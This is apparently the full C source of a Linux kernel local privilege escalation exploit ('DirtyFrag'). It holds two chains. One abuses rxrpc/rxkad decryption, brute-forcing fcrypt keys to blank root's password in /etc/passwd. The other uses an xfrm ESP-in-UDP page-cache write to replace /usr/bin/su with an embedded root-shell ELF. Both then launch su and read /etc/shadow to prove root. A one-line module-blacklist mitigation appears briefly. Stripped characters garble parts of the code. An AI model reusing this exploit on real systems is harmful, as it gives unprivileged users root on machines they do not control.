line 1 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state * of chars 4..15 is determined by these P bytes: * * char 4 = P_A[0] want: ':' * char 5 = P_A[1] want: ':' * char 6 = P_B[0] want: '0' (overwrites P_A[2]) * char 7 = P_B[1] want: ':' (overwrites P_A[3]) * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' * char 15 = P_C[7] want: ':' * * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they * are overwritten before /etc/passwd is read by anyone — we only care * the final state. */ static inline int fc_check_pa_nullok(const uint8_t P[8]) { return P[0] == ':' && P[1] == ':'; } static inline int fc_check_pb_nullok(const uint8_t P[8]) { return P[0] == '0' && P[1] == ':'; } static inline int fc_check_pc_nullok(const uint8_t P[8]) { if (P[0] != '0') return 0; if (P[1] != ':') return 0; if (P[7] != ':') return 0; for (int i = 2; i > 30)) * 0xBF58476D1CE4E5B9ULL; z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; return z ^ (z >> 31); } /* Generic brute-force. `predicate` decides if a P is acceptable. */ typedef int (*pcheck_fn)(const uint8_t P[8]); static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8], uint8_t P_out[8], uint64_t seed_init, const char *label) { fcrypt_uctx ctx; uint8_t K[8], P[8]; uint64_t seed = seed_init; struct timespec ts0, ts1; clock_gettime(CLOCK_MONOTONIC, &ts0); for (uint64_t iter = 0; iter =32&&P[0] =32&&P[1] =32&&P[2] =32&&P[3] =32&&P[4] =32&&P[5] =32&&P[6] =32&&P[7] 0) { clock_gettime(CLOCK_MONOTONIC, &ts1); double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", label, dt, (unsigned long)iter, iter / dt / 1e6); } } return -1; } int rxrpc_lpe_main(int argc, char **argv) { fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid()); { const char *no_unshare = getenv("POC_NO_UNSHARE"); if (!no_unshare || *no_unshare != '1') { const char *do_unshare = getenv("POC_UNSHARE"); if (do_unshare && *do_unshare == '1') { if (do_unshare_userns_netns() = 32 && c =32&&Ca[0] =32&&Ca[1] =32&&Ca[2] =32&&Ca[3] =32&&Ca[4] =32&&Ca[5] =32&&Ca[6] =32&&Ca[7] =32&&Cb[0] =32&&Cb[1] =32&&Cb[2] =32&&Cb[3] =32&&Cb[4] =32&&Cb[5] =32&&Cb[6] =32&&Cb[7] =32&&Cc[0] =32&&Cc[1] =32&&Cc[2] =32&&Cc[3] =32&&Cc[4] =32&&Cc[5] =32&&Cc[6] =32&&Cc[7] =32&&Pa_out[i] =32&&Pb_out[i] =32&&Pc_out[i] = 32 && c 0) { buf[r] = 0; fprintf(stderr, "[getent passwd root] %s", buf); } fprintf(stderr, "[+] PRIMITIVE proven: root entry has empty passwd field " "via NSS.\n"); } } /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so * the chain wrapper can skip the in-process su PTY stage and exec * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ { int co_flag = 0; for (int i = 1; i 2) close(slave); close(master); /* `su` with no args targets root. PAM common-auth's pam_unix.so * nullok accepts the empty passwd we planted in /etc/passwd. */ execlp("su", "su", NULL); _exit(127); } /* parent: bridge user's tty master. */ struct termios saved_termios; int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); if (saved_termios_ok) { struct termios raw = saved_termios; cfmakeraw(&raw); tcsetattr(STDIN_FILENO, TCSANOW, &raw); } int auto_pw_sent = 0; int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ char buf[4096]; /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject * `id; whoami; exit\n` so it can prove uid=0 non-interactively * (e.g. when stdin is /dev/null in CI). */ int auto_verify = 0; { const char *e = getenv("LPE_AUTO_VERIFY"); if (e && *e == '1') auto_verify = 1; } int verify_sent = 0; int total_ms = 0; for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr = 1000) { const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; (void)write(master, cmd, sizeof(cmd) - 1); verify_sent = 1; } int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == pid) { for (int i = 0; i #include #include #include #include #include #include #include #include #include #include #include #include #include extern int su_lpe_main(int argc, char **argv); extern int rxrpc_lpe_main(int argc, char **argv); /* * The 8 bytes our su payload places at file offset 0x78 — the first * instructions of the embedded shell ELF. Sequence: * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a (setgid) * Distros' original /usr/bin/su has different bytes here, so this is * a reliable post-patch marker. * * (We don't check offset 0 because /usr/bin/su already has the ELF * magic there — both before and after we patch.) */ static const uint8_t su_marker[8] = { 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, }; static int su_already_patched(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd = 0) { dup2(dn, STDERR_FILENO); close(dn); } } static void restore_stderr(int saved_fd) { if (saved_fd >= 0) { dup2(saved_fd, STDERR_FILENO); close(saved_fd); } } static char **append_corrupt_only(int argc, char **argv, int *new_argc) { static char *flag = "--corrupt-only"; static char *buf[64]; int n = argc 2) close(slave); close(master); exec_su_login(); _exit(127); } signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGHUP, SIG_IGN); (void)setpgid(0, 0); (void)tcsetpgrp(STDIN_FILENO, getpid()); struct termios saved_termios; int restore_termios = 0; if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { struct termios raw = saved_termios; cfmakeraw(&raw); if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) restore_termios = 1; } int auto_pw_sent = 0; int stdin_eof = 0; int saw_master_output = 0; int total_ms = 0; char buf[4096]; for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr = 1500) { (void)write(master, "\n", 1); auto_pw_sent = 1; } int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == pid) { for (int i = 0; i /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" ``` For detailed technical information the vulnerabilities and the reason the embargo was broken, please check Full exploit code: ```c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif /* ---- rxrpc constants ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2 struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed)); struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed)); /* Attacker-chosen 8-byte session key used for the rxkad token. * Mutable because the LPE brute-force iterates over keys looking for * one that decrypts the file's UID field to a "0:" prefix. */ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 }; #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) /* =================================================================== */ /* unshare + map setup */ /* =================================================================== */ static int write_file(const char *path, const char *fmt, ...) { int fd = open(path, O_WRONLY); if (fd = 0) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) maxlen) { errno = E2BIG; return -1; } return (int)(p - out); } static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_OP; c->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(c) = op; c = CMSG_NXTHDR(&msg, c); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_IV; c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); aiv->ivlen = 8; memcpy(aiv->iv, iv, 8); struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(op_fd, &msg, 0) rxkad.csum_iv (ref: rxkad_prime_packet_security): * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) */ static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) { int s = alg_open_pcbc_fcrypt(key); if (s > 16) & 0xffff; if zero -> 1 */ static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], uint16_t *cksum_out) { int s = alg_open_pcbc_fcrypt(key); if (s > 16) & 0xffff; if (v == 0) v = 1; *cksum_out = v; return 0; } /* =================================================================== */ /* AF_RXRPC client */ /* =================================================================== */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd cmsg_level = SOL_RXRPC; cmsg->cmsg_type = RXRPC_USER_CALL_ID; cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; /* Don't block forever if no ever comes through this single sendmsg. */ int fl = fcntl(cli_fd, F_GETFL); fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(cli_fd, &msg, 0); fcntl(cli_fd, F_SETFL, fl); if (n epoch); uint32_t cid = ntohl(whdr_in->cid); uint32_t callN = ntohl(whdr_in->callNumber); uint16_t svc_in = ntohs(whdr_in->serviceId); uint16_t cli_port = ntohs(cli_addr.sin_port); /* Send CHALLENGE */ { struct { struct rxrpc_wire_header hdr; struct rxkad_challenge ch; } __attribute__((packed)) c = {0}; c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.hdr.callNumber = 0; c.hdr.seq = 0; c.hdr.serial = htonl(0x10000); c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.serviceId = htons(svc_in); c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1); struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), .sin_addr.s_addr=htonl(0x7F000001) }; if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) 0) break; if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); else break; } fcntl(rxsk_cli, F_SETFL, fl); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return 0; trig_fail: close(p[0]); close(p[1]); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* =================================================================== * USER-SPACE pcbc(fcrypt) BRUTE-FORCE * * The kernel's rxkad_verify_packet_1() does an in-place 8-byte * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice * offset. pcbc with single 8-B block and IV=0 reduces to a plain * fcrypt_decrypt(C, K). We can therefore for the right K * entirely in user-space — without touching the kernel/VM at all — * before applying ONE deterministic kernel trigger. * * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). * Verified against kernel test vectors: * K=0, decrypt(0E0900C73EF7ED41) = 00000000 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 * =================================================================== */ static const uint8_t fc_sbox0_raw[256] = { 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, }; static const uint8_t fc_sbox1_raw[256] = { 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, }; static const uint8_t fc_sbox2_raw[256] = { 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, }; static const uint8_t fc_sbox3_raw[256] = { 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 